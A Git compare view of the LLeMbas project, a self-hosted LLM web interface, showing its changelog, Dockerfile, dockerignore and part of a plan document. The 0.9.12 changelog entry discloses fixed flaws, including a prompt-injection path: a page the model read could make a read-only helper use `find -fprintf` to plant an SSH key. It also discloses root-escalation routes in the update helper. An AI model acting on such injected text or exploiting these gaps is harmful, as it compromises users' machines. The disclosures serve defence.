Compare commits
58 Commits
v1.0.1
..
6cffcb357d
| Author | SHA1 | Date | |
|---|---|---|---|
| 6cffcb357d | |||
| 3fc3449726 | |||
| a5fa982ae3 | |||
| 816f2ae957 | |||
| 0e3133a1e7 | |||
| 4b8fd6bad2 | |||
| bc141eae10 | |||
| 82a7ef5b58 | |||
| 374982174f | |||
| 8a3a225fea | |||
| 0bee366488 | |||
| a4cfb2eea4 | |||
| facce7b49a | |||
| 2ac5c9a5e1 | |||
| 131a4083f8 | |||
| b6cea42631 | |||
| 803d808723 | |||
| 621e95d2e3 | |||
| 5117168454 | |||
| 246be1fa8e | |||
| 16e59feab2 | |||
| a064407fa7 | |||
| 191394fa08 | |||
| 4ced049ff8 | |||
| 0a4531f02d | |||
| 671e49cae8 | |||
| 8c3fe97939 | |||
| b39e4eac88 | |||
| ecb52e9978 | |||
| bc84fec21d | |||
| d9f274ec1a | |||
| 584beca22d | |||
| 17f3fa1946 | |||
| 314cc946d7 | |||
| 26793b1317 | |||
| 09eecbdd9a | |||
| e185edc9e1 | |||
| 9e2caeac48 | |||
| 2fe736aa6a | |||
| 6dd13b2e9d | |||
| ec457debb3 | |||
| 85f18e99b2 | |||
| 2c8c274850 | |||
| 17995c1275 | |||
| 2f978d84d1 | |||
| a0f733063a | |||
| 21001f2eb8 | |||
| a8b7b5fc14 | |||
| 7456525d19 | |||
| de178837b8 | |||
| a071d8486b | |||
| f744232d25 | |||
| 085dca5ec4 | |||
| 7b67568f2c | |||
| bdce2764b1 | |||
| d6c87ac811 | |||
| ba2fb1e13d | |||
| dd9e0e9440 |
@@ -1,31 +0,0 @@
|
||||
# What must never reach the image.
|
||||
#
|
||||
# The first two blocks are the ones that matter: a `data/` directory copied in
|
||||
# would bake somebody's database, their uploads and their encrypted API keys
|
||||
# into an image, and a `.env` would bake the key that decrypts them.
|
||||
data/
|
||||
*.db
|
||||
*.db-wal
|
||||
*.db-shm
|
||||
.env
|
||||
.env.*
|
||||
lembas.env
|
||||
|
||||
# `.git` is excluded and that has a consequence worth knowing: /admin/updates
|
||||
# reads it to say what is running, so inside a container that page says "not
|
||||
# installed from a checkout" and offers nothing. That is correct -- a container
|
||||
# is updated by pulling a new image, not by resetting a checkout inside it.
|
||||
.git/
|
||||
.github/
|
||||
|
||||
.venv/
|
||||
venv/
|
||||
__pycache__/
|
||||
*.pyc
|
||||
.pytest_cache/
|
||||
.ruff_cache/
|
||||
htmlcov/
|
||||
.coverage
|
||||
dist/
|
||||
build/
|
||||
*.egg-info/
|
||||
-445
@@ -1,445 +0,0 @@
|
||||
# Changelog
|
||||
|
||||
What changed, per version, for somebody using or running LLeMbas — not a
|
||||
restatement of the commit log. If a change fixed something that *looked* like it
|
||||
worked, that is worth a line: those are the ones nobody would otherwise know to
|
||||
stop working around.
|
||||
|
||||
Newest first. Versions are `__version__` in `src/lembas/__init__.py`, which is
|
||||
the only place a version is written.
|
||||
|
||||
The first tagged release is **1.0.0**. Everything below it shipped as a running
|
||||
deployment rather than as a release, and is recorded here so the release notes
|
||||
for 1.0.0 have something to be assembled from.
|
||||
|
||||
---
|
||||
|
||||
## Unreleased
|
||||
|
||||
## 1.0.1
|
||||
|
||||
- Fixed: the Updates page showed **"v1.0.0 (reports 1.0.0)"** — two spellings of
|
||||
one version, in a note whose whole purpose is to warn that a tag was cut
|
||||
before the version bump. `git describe` answers with the tag's name, and tags
|
||||
here carry a `v`. Found by cutting the first release, which is the only place
|
||||
it could have been.
|
||||
|
||||
## 1.0.0
|
||||
|
||||
The first release. Every version before it shipped as a running deployment
|
||||
rather than as a release; this is what those add up to, and the point at which
|
||||
it is worth somebody else installing.
|
||||
|
||||
**What it is.** A self-hosted web interface for OpenAI-compatible endpoints.
|
||||
Server-rendered, no build step, no CDN, one SQLite file. Point it at whatever
|
||||
you run — llama.cpp, LM Studio, vLLM, Ollama, OpenRouter, OpenAI — and it works
|
||||
the same.
|
||||
|
||||
### What arrived since 0.8.1
|
||||
|
||||
- **Things that happen because time passed.** Say "every Monday at nine" and a
|
||||
model sets it up itself, against the same recurrence rule the manual form
|
||||
uses. A run can file a **report** you read later, send you a message, or work
|
||||
in a chat of its own.
|
||||
- **News that finds you.** A dot in the sidebar, a count in the tab title while
|
||||
you are looking elsewhere, and **web push** so a schedule firing at seven in
|
||||
the morning reaches a browser that is shut. Opt-in per device, and the one
|
||||
thing here that contacts an outside service — `services/push.py` says so
|
||||
plainly and says what it costs.
|
||||
- **Helpers.** A reply can hand a self-contained piece of work to another model
|
||||
that runs on its own and reports back, several at once. A helper cannot ask
|
||||
questions, cannot send helpers of its own, changes nothing unless asked, and
|
||||
on a machine runs only a fixed list of read-only commands.
|
||||
- **Drawing.** Point it at a ComfyUI and a model can make images, against
|
||||
workflow templates and defaults you set — size, steps, sampler, scheduler,
|
||||
checkpoint. It reviews its own result and can try again.
|
||||
- **Semantic search.** Pick an embedding model and library search fuses keyword
|
||||
and meaning, so *"how do I get paid"* finds a document that says *"invoicing"*.
|
||||
Choosing none is not a degraded mode: it is byte-for-byte the keyword search
|
||||
that was always there, with nothing written and no requests made.
|
||||
- **Quotas and sharing.** Monthly tokens, concurrent replies, agent wall clock,
|
||||
images a day, helpers a reply — resolved by maximum across a person's groups,
|
||||
with zero meaning *no limit*. Documents, notes, skills and reports can be
|
||||
handed to a group or a person, read-only, with a *Shared with me* filter
|
||||
everywhere. And a screen that answers **"what can this account actually do?"**
|
||||
by naming where each permission came from.
|
||||
- **Make it yours.** Name, tagline, logo, favicon and launcher icons; the
|
||||
Middle-earth wording is editable data; custom themes defined as a set of
|
||||
colours rather than a stylesheet.
|
||||
- **Install it and update it.** A Dockerfile, a Proxmox container script, and an
|
||||
`/admin/updates` page showing what is running, what is available and what
|
||||
changed between. The button that applies an update is opt-in and cannot do the
|
||||
work itself — it writes a file that a systemd unit picks up, because a web
|
||||
application that can restart its own service is one whose worst day is much
|
||||
worse.
|
||||
|
||||
### The part worth reading
|
||||
|
||||
Five audit passes went into this release rather than one, and they found things
|
||||
that had shipped looking correct. These are the entries somebody stops working
|
||||
around a bug because of:
|
||||
|
||||
- **Every model was told the time in a zone with no name** — on any account that
|
||||
had not chosen one, which is every account by default.
|
||||
- **A helper could write files and run programs on a remote machine,
|
||||
unattended, in a mode that promises to change nothing.** `find` was on the
|
||||
read-only command list, and `find -fprintf` writes a file.
|
||||
- **Two ways to get root out of the update helper**, one of which needed no
|
||||
compromise at all: root ran a script the unprivileged service account owns,
|
||||
and an update fetches that script as that account.
|
||||
- **Deleting a chat left every file it held on disk** — attachments, generated
|
||||
images, all of it, with nothing that would ever look at them again.
|
||||
- **Folder nesting was fully built, documented in the README, and reachable by
|
||||
nothing.** So was moving a chat into a folder.
|
||||
- **The terminal silently stopped accepting input after a reconnect**, while
|
||||
output kept arriving so the panel looked healthy.
|
||||
- **On the Messages screen, half the keyboard shortcuts did nothing**, because
|
||||
two scripts were loaded twice and each toggle ran twice.
|
||||
- **The prompt preview could not show two thirds of what it previews.**
|
||||
- **Hints and timestamps failed the contrast minimum in both themes.**
|
||||
|
||||
### Where the edges are
|
||||
|
||||
Stated because they are the things worth knowing before you rely on it:
|
||||
|
||||
- **Nothing executes on the machine LLeMbas runs on.** Agent chats run their
|
||||
commands over SSH on a host you choose, and the security of an agent chat is
|
||||
the security of that host. There is no sandbox here and that is deliberate —
|
||||
`PLAN.md` records the one that was designed and dropped, and why.
|
||||
- **One worker.** The generation registry, the terminal sessions and the
|
||||
schedule ticker are all in-process. Two workers means two tickers and every
|
||||
schedule firing twice.
|
||||
- **A restart abandons replies in flight**, keeping whatever each had.
|
||||
- **Schema changes are additive.** New tables and columns apply themselves at
|
||||
startup; renames and drops are manual. The upgrade path is tested from an
|
||||
0.8.1-shaped database with rows in it.
|
||||
- **Sharing grants reading only.**
|
||||
|
||||
2283 tests on Python 3.11, 3.12 and 3.14.
|
||||
|
||||
## 0.9.13
|
||||
|
||||
**The testing pass.** 2140 tests became 2283, and writing them found four bugs
|
||||
that no amount of reading had.
|
||||
|
||||
- Fixed: **the terminal silently stopped accepting input after a reconnect.**
|
||||
Change the connection, or let the shell catch up after falling behind, and
|
||||
every keystroke was dropped from then on — while output kept arriving, so the
|
||||
panel looked perfectly healthy. It also announced "Disconnected. Close and
|
||||
reopen to reconnect." about a shell that had just reconnected successfully.
|
||||
- Fixed: **on the Messages screen, half the keyboard did nothing.** Two scripts
|
||||
were loaded twice there, so `Alt+B`, `Alt+E`, `Alt+T` and `Alt+I` toggled
|
||||
their panel twice — which is to say not at all — while `/help` opened two
|
||||
dialogs, `/image` posted the message twice, and picking an `@` mention
|
||||
attached the file twice.
|
||||
- Fixed: **pressing the microphone while the permission prompt was up opened a
|
||||
recording each time.** Only the last was stopped, so the browser's recording
|
||||
indicator stayed on until the tab was closed.
|
||||
- Fixed: **a skill shared with you took its name out of your own library.**
|
||||
Creating your own was refused with "a skill called that already exists. Edit
|
||||
it instead" — naming a skill you cannot edit, because sharing grants reading
|
||||
only. The model's `skill_create` hit the same dead end. Sharing a curated
|
||||
skill with a team is what sharing is *for*.
|
||||
- Hints and timestamps are readable now. `--ink-faint` failed the accessibility
|
||||
contrast minimum in **both** themes — 3.85:1 in Moria, 3.19:1 in Shire, where
|
||||
4.5:1 is the bar — so the smallest text on every screen was the hardest to
|
||||
read.
|
||||
- The suite runs on **Python 3.11 and 3.12** as well as 3.14. It had only ever
|
||||
run on 3.14, while the Docker image ships 3.12 and the packaging claimed 3.11
|
||||
— so the one interpreter most people would actually run was the one nothing
|
||||
had tested.
|
||||
- A `docs/notes/release-checklist.md` for the half of testing a machine cannot
|
||||
do: a real endpoint, a real machine, real hardware, a real pair of eyes.
|
||||
|
||||
## 0.9.12
|
||||
|
||||
**The security pass.** Six findings, all fixed. None is reachable by simply
|
||||
visiting the site; every one of them is a boundary that was supposed to hold
|
||||
and did not.
|
||||
|
||||
- Fixed: **a helper could write files and run programs on the remote machine,
|
||||
unattended, in a mode that promises to change nothing.** A subagent is pinned
|
||||
to a fixed list of read-only commands — and `find` was on it. `find -fprintf`
|
||||
writes a file, `find -exec` runs a program, `find -delete` removes one, and
|
||||
none of them needs a character the shell-metacharacter guard refuses. A page
|
||||
the model had just read could have asked for a helper and got an SSH key
|
||||
written into `authorized_keys`. Those flags are refused outright now, whatever
|
||||
list a command is on.
|
||||
- Fixed: **an SSH connection could be pointed at `0.0.0.0` and reach the machine
|
||||
LLeMbas runs on**, with the "may a connection point here" setting still
|
||||
reading *off*. Every other spelling was caught; that one is neither a real
|
||||
destination nor a refused one, and connecting to it goes to localhost.
|
||||
- Fixed, twice, in the update helper — the one place this deliberately crosses a
|
||||
privilege boundary: **root ran a script the unprivileged service account
|
||||
owns**, and **root sourced a file that account can replace**. Either turns a
|
||||
compromise of the web application into root on the host, which is exactly what
|
||||
the unprivileged split exists to prevent. The first also meant control of the
|
||||
branch was control of root, with no compromise needed at all.
|
||||
**If you installed the update helper before this, re-run the installer** —
|
||||
the old wiring stays until you do, and the update script now says so loudly
|
||||
when it notices.
|
||||
- Fixed: **browser notification endpoints skipped the guard that stops the
|
||||
server being aimed at your own network.** It was the only outbound request in
|
||||
the codebase not going through it.
|
||||
- Fixed: **a chat could be put in another account's folder**, and a folder hands
|
||||
its system prompt to the chats inside it — so that read a setting across an
|
||||
ownership boundary through a field that looks like a tag.
|
||||
- Fixed: a `"` typed into the share panel's search box silently stopped every
|
||||
checkbox in the panel from doing anything.
|
||||
- Fixed: **re-running the installer moved the update channel to `stable`** even
|
||||
on a host following `edge`. The channel lives in two places — the environment
|
||||
file the page reads and the systemd unit the button obeys — and a re-run kept
|
||||
the first while rewriting the second, so an install for some unrelated reason
|
||||
left the page naming one channel and the button deploying another. It now
|
||||
defaults to what the host already follows.
|
||||
|
||||
## 0.9.11
|
||||
|
||||
- The Updates page no longer runs the **Check the remote** button flush against
|
||||
the version and commit above it, where the two read as one block.
|
||||
|
||||
## 0.9.10
|
||||
|
||||
**The second audit pass: screens that were harder to use than they needed to
|
||||
be.** Checked by rendering them in a real browser and measuring, not by reading
|
||||
the CSS.
|
||||
|
||||
- Fixed: **the Prompts admin page put its reference material first.** The
|
||||
Variables legend and the Preview run to a screen each and sat above the tabs,
|
||||
so the editor — the thing the page is for — started two screens down and every
|
||||
tab switch had to move the whole page to be any use. On a short tab it could
|
||||
not move far enough and left the panel stranded above a screenful of nothing.
|
||||
The editor comes first now, the reference after, and the tab bar stays put:
|
||||
measured, it moved 385→642px between tabs before and does not move at all now.
|
||||
The tab bar also sticks to the top, so a long panel does not scroll it away.
|
||||
- Fixed: **custom themes were three fixed slots.** A fresh instance opened on
|
||||
fifty-seven empty colour boxes under three identical headings, and a fourth
|
||||
theme could not be made at all. Now: one block per theme you have, plus one
|
||||
blank to add the next, with the colours behind a disclosure — so a theme is a
|
||||
name and a starting point until you ask for more. Up to twelve. The page is
|
||||
half the height it was.
|
||||
- Fixed: **deleting a chat left every file it held on disk.** The rows went —
|
||||
the message, the attachments, the generated images — and the files they named
|
||||
stayed, with nothing that would ever look at them again. Four of the five ways
|
||||
a chat can end had this: the delete button, a schedule's task chat, a helper's
|
||||
hidden chat, and deleting an account. There is one function that deletes a
|
||||
chat now, and it removes the files first.
|
||||
- Fixed, and it is what made the above invisible: **a file attached before the
|
||||
chat existed never learned which chat it belonged to.** Anything picked on the
|
||||
new-chat screen kept an empty `chat_id` for the rest of its life. Six things
|
||||
filter on that, so for those files the model was not told they were attached,
|
||||
the canvas would not open them, and the cleanup could not find them.
|
||||
- **Folders can be nested, which the README has always claimed.** The route has
|
||||
handled it since folders existed — cycle guard, depth limit — and the sidebar
|
||||
has always drawn a tree; there was simply no control that could ask for it.
|
||||
Moving a folder also respects the depth limit now, which only creating one did.
|
||||
- The Proxmox container installs the **update helper by default**. A container
|
||||
made thirty seconds ago to run one thing is not the shared host the plain
|
||||
installer has to be careful about, and an appliance you cannot update without
|
||||
a shell is one nobody updates. `INSTALL_UPDATE_HELPER=0` opts out. Docker
|
||||
deliberately has no equivalent: updating a container is pulling an image, and
|
||||
a helper inside one would need the Docker socket, which is root on the host.
|
||||
- The starting points on the new-chat screen are four new ones, aimed at
|
||||
somebody who has just stood an instance up and wants to know what is behind
|
||||
it. Only a fresh install gets them; an instance that has already seeded keeps
|
||||
whatever its administrator has made of the list.
|
||||
- `README.md` describes what this actually is again — schedules, reports,
|
||||
helpers, image generation, semantic search, quotas, sharing, branding and the
|
||||
updates page were all missing, and two things listed as *planned* had shipped.
|
||||
It gained sections on Docker, the Proxmox container and updating.
|
||||
|
||||
## 0.9.9
|
||||
|
||||
**The first of five audit passes before 1.0.0** — everything that landed between
|
||||
0.8.1 and 0.9.8 read as a whole rather than one feature at a time. This one is
|
||||
the main logic, the harness, and every instruction a model is given.
|
||||
|
||||
- Fixed: **every model was told the time in a zone with no name.** On any
|
||||
account that had not chosen a timezone — which is the default state of every
|
||||
account — the date line shipped as "Times the person gives you are in
|
||||
unless they say otherwise", on every request. The code claimed in two places
|
||||
that the line disappeared instead. It never had.
|
||||
- Fixed: **the prompt preview could not show most of what it previews.** Eleven
|
||||
fragments are gated on things that only exist once there is a real chat, and
|
||||
the preview has none — so the whole agent surface, both scheduling fragments
|
||||
and the helper warning were missing from it whatever you ticked. Editing
|
||||
`tool.agent` and pressing preview showed a system message without `tool.agent`
|
||||
in it, and nothing said so. Two new controls come with the fix: what kind of
|
||||
chat to preview as, and which agent mode.
|
||||
- Fixed: **a model in Plan mode was told to use a tool it did not have.**
|
||||
`plan_update` is withdrawn in that mode in favour of `plan_submit`, but its
|
||||
guidance appeared whenever a plan existed — directly under the line saying
|
||||
anything not in your tool list does not exist.
|
||||
- Fixed: **reading one knowledge document could fill the whole context window.**
|
||||
Every other reader caps what it returns and says so; this one returned the
|
||||
document whole, and its description said "in full", so it did exactly what it
|
||||
claimed. A long PDF is now cut at 40,000 characters with the model told.
|
||||
- Fixed: **the guidance about helpers on a machine was wrong in both
|
||||
directions.** It denied that a helper can write files, which is a documented
|
||||
option of the tool beside it, and it named seven of the twenty-three commands
|
||||
a helper may run — so a model avoided commands it was allowed to use. Both are
|
||||
now checked against the real list and the real schema by tests, because prose
|
||||
and a constant drift the moment one is edited alone.
|
||||
- The tool description for delegating no longer claims a helper gets "the same
|
||||
tools". It gets deliberately fewer, and sizing a task against the wrong set is
|
||||
how a whole phase gets planned around something that will refuse it.
|
||||
|
||||
- The Updates page notices when the update helper on a host was installed for a
|
||||
**different channel** than the page follows. It is declared in two places —
|
||||
`lembas.env` and the systemd unit — and only the installer writes both, so
|
||||
editing one by hand would have left the button deploying something other than
|
||||
what the page named, with nothing anywhere saying so.
|
||||
- Fixed: release notes from a **signed** tag rendered the signature block.
|
||||
`_notes_for` stripped the PGP header only, and which header appears depends on
|
||||
`gpg.format` — this repository signs with SSH.
|
||||
- A `CHANGELOG.md`, kept from now on rather than assembled at release time.
|
||||
|
||||
## 0.9.8
|
||||
|
||||
**Updates follow a channel, not a commit.** `stable` tracks the newest `vX.Y.Z`
|
||||
tag; `edge` tracks the branch tip. A branch tip is not a release — following one
|
||||
means deploying whatever was pushed five minutes ago — so stable is the default
|
||||
for anybody who is not the person writing it.
|
||||
|
||||
- The Updates page shows a **version** rather than a commit sha: `1.0.0` at a
|
||||
tag, `1.0.0-7-gd4f56d` seven commits past one, and a bare sha only before the
|
||||
first release exists.
|
||||
- Release notes come out of the **annotated tag itself**, so no forge API is
|
||||
involved anywhere. That matters: the Gitea API this was checked against
|
||||
returns a 500 from a server-side panic on exactly the releases endpoint.
|
||||
- A tag with a suffix (`v1.1.0-rc1`) is deliberately not a release — git's
|
||||
version sort ranks it *above* `v1.1.0`, so accepting one would step a stable
|
||||
host onto a candidate.
|
||||
- Fixed: `deploy/update.sh` stopped silently after `== fetching ==` on any host
|
||||
with no release tags — which was every host. Fetched, not reset, not
|
||||
restarted, and no error printed.
|
||||
- Fixed: `install.sh` now refuses an `ssh://` repository URL up front instead of
|
||||
letting the clone fail as a service user with no key.
|
||||
|
||||
## 0.9.7
|
||||
|
||||
**Packaging, and updating without a shell.**
|
||||
|
||||
- `/admin/updates`: what is running, what is available, and what changed between.
|
||||
A button applies it — answered by an **opt-in** systemd helper, because the
|
||||
service runs unprivileged and a web application that can restart its own
|
||||
service is one whose worst day is much worse. Without the helper the page says
|
||||
so and prints the command.
|
||||
- `Dockerfile` and `docker-compose.yml`. No secret key, no data and no `.git`
|
||||
baked in; loopback only; a TLS proxy expected in front, because a service
|
||||
worker and a microphone both require HTTPS or localhost.
|
||||
- `deploy/lxc-install.sh` creates an unprivileged Proxmox container and runs the
|
||||
existing installer inside it.
|
||||
- `/healthz`, which opens the database rather than only proving the socket is
|
||||
listening.
|
||||
|
||||
## 0.9.6
|
||||
|
||||
**Permissions, quotas and sharing.**
|
||||
|
||||
- **"What can this account actually do?"** answered on screen, naming *where*
|
||||
each permission came from — admin, the baseline, or a group.
|
||||
- Users and groups are list-plus-detail, and membership is edited from **one**
|
||||
side. It was on both, and a save from either overwrote what the other showed.
|
||||
- Reading and writing split for notes, memory and skills.
|
||||
- **Quotas on a group** — monthly tokens, concurrent replies, agent wall clock,
|
||||
images a day, helpers a reply. Resolved by maximum across a person's groups,
|
||||
with zero meaning *no limit* and winning outright.
|
||||
- Fixed: **deleting a group or an account left every share naming it behind.**
|
||||
`forget_principal` had existed since shares did and was called by nobody.
|
||||
- Fixed: `library.share` defaulted to off, so sharing shipped documented as done
|
||||
and unreachable — the panel only renders for somebody who holds it.
|
||||
- The share panel is its own action with a search box. It used to be checkboxes
|
||||
inside the resource's save form, listing every account on the instance, and a
|
||||
tick only took effect if you also saved the resource.
|
||||
- Reports are shareable, and every listing has a **Shared with me** filter.
|
||||
|
||||
## 0.9.5
|
||||
|
||||
**Extraction settings, embeddings, and hybrid search.**
|
||||
|
||||
- `/admin/extraction`: upload size, image edge, JPEG quality, PDF pages,
|
||||
extracted characters, orphan age, extra text extensions.
|
||||
- An **embedding model** can be chosen from models flagged for it. Library search
|
||||
then fuses keyword and semantic ranking, so *"how do I get paid"* finds a
|
||||
document that says *"invoicing"*.
|
||||
- **Choosing none is not a degraded mode**: no rows written, no requests made,
|
||||
and byte-for-byte the keyword search that was always there.
|
||||
- Vectors carry their model and width, and a mismatch is skipped rather than
|
||||
scored — comparing two embedding spaces produces a confident wrong answer.
|
||||
- Indexing happens in the background as records are written, with a rebuild
|
||||
button for everything that already existed.
|
||||
|
||||
## 0.9.4
|
||||
|
||||
**An instance can be somebody else's.**
|
||||
|
||||
- Name, tagline, logo, favicon and launcher icons derived from the logo.
|
||||
- The Middle-earth wording is editable data. Leaving a box alone does not freeze
|
||||
it, so a later release can still improve the default.
|
||||
- **Custom themes** as a set of colours rather than a stylesheet, inheriting
|
||||
whichever built-in they start from.
|
||||
- Global CSS overrides, served as `/branding.css`.
|
||||
|
||||
## 0.9.3
|
||||
|
||||
**Subagents.** A reply can hand a self-contained piece of work to a helper that
|
||||
runs on its own and reports back — several at once, so research fans out instead
|
||||
of queueing.
|
||||
|
||||
- A helper cannot ask questions, cannot send helpers of its own, writes nothing
|
||||
unless the call asked and the chat's mode allowed it, and on a machine runs
|
||||
only a fixed list of read-only commands — in **every** mode, including Auto.
|
||||
- Fixed, and it was live in scheduled runs too: an unattended chat that hit an
|
||||
approval built a card nobody could see and sat on it for fifteen minutes.
|
||||
|
||||
## 0.9.2
|
||||
|
||||
**Image generation defaults an administrator can actually set** — steps, cfg,
|
||||
size, sampler, scheduler, denoise, negative prompt, checkpoint, batch. There were
|
||||
none: one hard-coded set from the SD1.5 era, and prose in a box as the only way
|
||||
to change it.
|
||||
|
||||
- The samplers and schedulers ComfyUI had been reporting all along are now the
|
||||
pickers; nothing had ever read them.
|
||||
- The tool's own schema restates the instance's defaults, instead of telling the
|
||||
model "Default 512" beside an instance that draws at 1024.
|
||||
|
||||
## 0.9.1
|
||||
|
||||
**Everything that arrives is announced, not only chat replies.** A scheduled run
|
||||
that filed a report used to light a dot in a corner and say nothing.
|
||||
|
||||
- A count in the tab title while you are looking elsewhere.
|
||||
- **Web push**, so a schedule firing at seven in the morning reaches a browser
|
||||
that is shut. Opt-in per device. It is the one thing here that contacts an
|
||||
outside service, and `services/push.py` says so plainly.
|
||||
|
||||
## 0.9.0
|
||||
|
||||
**A model can schedule things.** There was no tool for it — asked to "remind me
|
||||
every Monday", a model wrote a note and reported that it had scheduled
|
||||
something, and every screen agreed with it.
|
||||
|
||||
- `schedule_create`, `schedule_list`, `schedule_update`, `schedule_cancel`, over
|
||||
the same rule normaliser the manual form uses.
|
||||
- The reply says the resulting timing back in words, which is the only moment
|
||||
anybody can check that Monday was understood as Monday.
|
||||
|
||||
## 0.8.3
|
||||
|
||||
**An SSH connection may not point at this machine unless an administrator says
|
||||
so.** A profile aimed at `127.0.0.1` walked straight past "nothing runs on the
|
||||
LLeMbas host" — through a real login, onto the machine holding the database and
|
||||
the encryption key. Three positions: off, one named port, or anywhere.
|
||||
|
||||
## 0.8.2
|
||||
|
||||
- Fixed: **opening the canvas before a chat existed swapped the whole site into
|
||||
the panel.** `hx-get=""` is not "fetch nothing" — htmx looks for the attribute,
|
||||
not the value, so the empty one was a real request for the current document.
|
||||
- Fixed: the Canvas and Terminal buttons appeared where they could not work.
|
||||
- The bottom edge of the shell is no longer drawn, so the sidebar footer and the
|
||||
composer stop meeting a line at two different heights.
|
||||
- Admin pages scroll in one container; `/admin/prompts` no longer drops you at
|
||||
the bottom of a shorter panel.
|
||||
-69
@@ -1,69 +0,0 @@
|
||||
# LLeMbas in a container.
|
||||
#
|
||||
# One stage, on purpose. There is nothing to build: no Node, no compiled assets,
|
||||
# no wheel worth producing separately — the vendored browser libraries are
|
||||
# committed and the templates are read at runtime. A multi-stage build here
|
||||
# would be ceremony that saves nothing and hides where the files came from.
|
||||
#
|
||||
# **This image is not a deployment on its own.** It serves plain HTTP and expects
|
||||
# a TLS reverse proxy in front, and that is a constraint rather than a
|
||||
# preference: a service worker and a microphone both require HTTPS or localhost,
|
||||
# so over plain http on a LAN address the app installs as nothing and cannot
|
||||
# dictate. See deploy/README.md.
|
||||
|
||||
FROM python:3.12-slim
|
||||
|
||||
# `bash` and `git` earn their place: `git` is what /admin/updates reads to say
|
||||
# what is running, and its absence there is reported rather than crashed on.
|
||||
# `curl` is the healthcheck below. Everything else stays out.
|
||||
RUN apt-get update \
|
||||
&& apt-get install --no-install-recommends -y git curl \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# A real account rather than root, and made before the install so the layers it
|
||||
# owns are its own. 10001 rather than the first free id: a bind-mounted volume
|
||||
# on the host is easier to reason about when the id is stated.
|
||||
RUN useradd --create-home --uid 10001 --shell /usr/sbin/nologin lembas
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
# The dependency install is its own layer, keyed on the files that decide it, so
|
||||
# editing a template does not re-resolve the whole tree.
|
||||
#
|
||||
# LICENSE is in the list because `pyproject.toml` declares `license = { file =
|
||||
# "LICENSE" }` and the build backend reads it -- without it the install fails
|
||||
# with "License file does not exist", which reads like a packaging problem and
|
||||
# is a missing COPY. README.md is there for the same reason (`readme = `).
|
||||
COPY pyproject.toml README.md LICENSE ./
|
||||
COPY src/lembas/__init__.py src/lembas/__init__.py
|
||||
RUN pip install --no-cache-dir -e ".[search,ssh]"
|
||||
|
||||
COPY . .
|
||||
# Again, because the first install ran against a source tree with one file in
|
||||
# it. Cheap: everything is already resolved and cached above.
|
||||
RUN pip install --no-cache-dir --no-deps -e "." \
|
||||
&& chown -R lembas:lembas /app
|
||||
|
||||
# The database, the uploads and the encryption at rest all live here. Declared
|
||||
# so that running without `-v` still works and says where the data went, rather
|
||||
# than losing it silently at the first `docker rm`.
|
||||
ENV LEMBAS_DATA_DIR=/data \
|
||||
LEMBAS_HOST=0.0.0.0 \
|
||||
LEMBAS_PORT=8080 \
|
||||
PYTHONUNBUFFERED=1
|
||||
RUN install -d -o lembas -g lembas /data
|
||||
VOLUME ["/data"]
|
||||
|
||||
# **No secret key is baked in.** One in an image is one every copy of the image
|
||||
# shares, and rotating it signs everybody out *and* makes stored upstream API
|
||||
# keys unreadable. Without LEMBAS_SECRET_KEY the app generates a temporary one
|
||||
# and warns loudly at startup, which is the right failure: it works for a look
|
||||
# and cannot be mistaken for a deployment.
|
||||
|
||||
USER lembas
|
||||
EXPOSE 8080
|
||||
|
||||
HEALTHCHECK --interval=30s --timeout=5s --start-period=20s --retries=3 \
|
||||
CMD curl -fsS http://127.0.0.1:8080/healthz || exit 1
|
||||
|
||||
CMD ["lembas", "serve"]
|
||||
@@ -0,0 +1,337 @@
|
||||
# LLeMbas — plan and status
|
||||
|
||||
Where the project is, what is deliberately not built yet, and the decisions
|
||||
that would be expensive to revisit. Kept current as work lands; the detail of
|
||||
*how* things work lives in [`CLAUDE.md`](CLAUDE.md).
|
||||
|
||||
**Status:** usable daily. Streaming chat, attachments, reasoning, tool calling
|
||||
with web search, custom HTTP tools and MCP servers, agent chats that work on a
|
||||
machine over SSH, a knowledge library, notes, memory and skills, speech in and
|
||||
out, users and groups, model administration, installable as an app. 1009 tests,
|
||||
`ruff` clean.
|
||||
|
||||
---
|
||||
|
||||
## The shape of it
|
||||
|
||||
A self-hosted web UI for OpenAI-compatible endpoints, written in Python, themed
|
||||
after Middle-earth.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Stack | FastAPI + Jinja + htmx + a little Alpine |
|
||||
| Build step | none — no Node, no npm, no CDN at runtime |
|
||||
| Database | SQLite, schema synchronised additively at startup |
|
||||
| Deployment | systemd unit + nginx vhost, one worker |
|
||||
|
||||
These are load-bearing. Dropping the no-build rule or moving off SQLite would
|
||||
be a different project, not a refactor.
|
||||
|
||||
---
|
||||
|
||||
## Done
|
||||
|
||||
### Chat
|
||||
- [x] Streaming replies over server-sent events
|
||||
- [x] **Markdown renders progressively** — re-rendered whole every 100ms rather
|
||||
than appending tokens, because a list or code fence is only correct once
|
||||
its context exists
|
||||
- [x] Syntax highlighting (Pygments), sanitised with nh3
|
||||
- [x] **Generation runs in the background** — a task, not the request. Navigate
|
||||
away, open another chat, close the tab: the reply keeps being written and
|
||||
reattaching replays the whole state
|
||||
- [x] **Stop** — the send button becomes Stop while writing; what arrived is kept
|
||||
- [x] **Rewind** — edit one of your own turns and the conversation runs on from
|
||||
there. Truncates rather than branching
|
||||
- [x] Copy, regenerate, automatic chat titles
|
||||
- [x] Chats created on first message, so an abandoned composer leaves nothing
|
||||
- [x] **Unread indicator** — a green dot and a toast when a reply lands while
|
||||
you were elsewhere
|
||||
- [x] Folders, arbitrarily nested; deleting one keeps the chats inside it
|
||||
- [x] Per-reply metrics — tokens, context used as a percentage, tokens/second,
|
||||
live while streaming and kept afterwards. Estimated with a `~` when the
|
||||
endpoint reports no usage
|
||||
- [x] Compaction — a button, and automatically at a configurable percentage of
|
||||
the model's context. Summarised turns are kept and collapsed, not deleted
|
||||
- [x] Temporary chats — never listed, swept after a day, with a Keep button
|
||||
- [x] An admin-only request inspector beside the thread
|
||||
|
||||
### Tools
|
||||
- [x] **Tool calling** — one reply is a bounded loop of requests, not one
|
||||
request. Text produced before a call is kept
|
||||
- [x] **Web search** as the first tool: DuckDuckGo (no setup), SearXNG or
|
||||
Firecrawl, chosen in the admin area
|
||||
- [x] Only offered to models flagged `tools`, because an endpoint without
|
||||
support rejects the whole request rather than ignoring the array
|
||||
- [x] Sources stay in the transcript; results are **not** replayed as context on
|
||||
the next turn, for the same reasons reasoning is not
|
||||
- [x] A round's calls run together, and the reply says which tool is running —
|
||||
a remote tool taking seconds with nothing streaming looks like a hang
|
||||
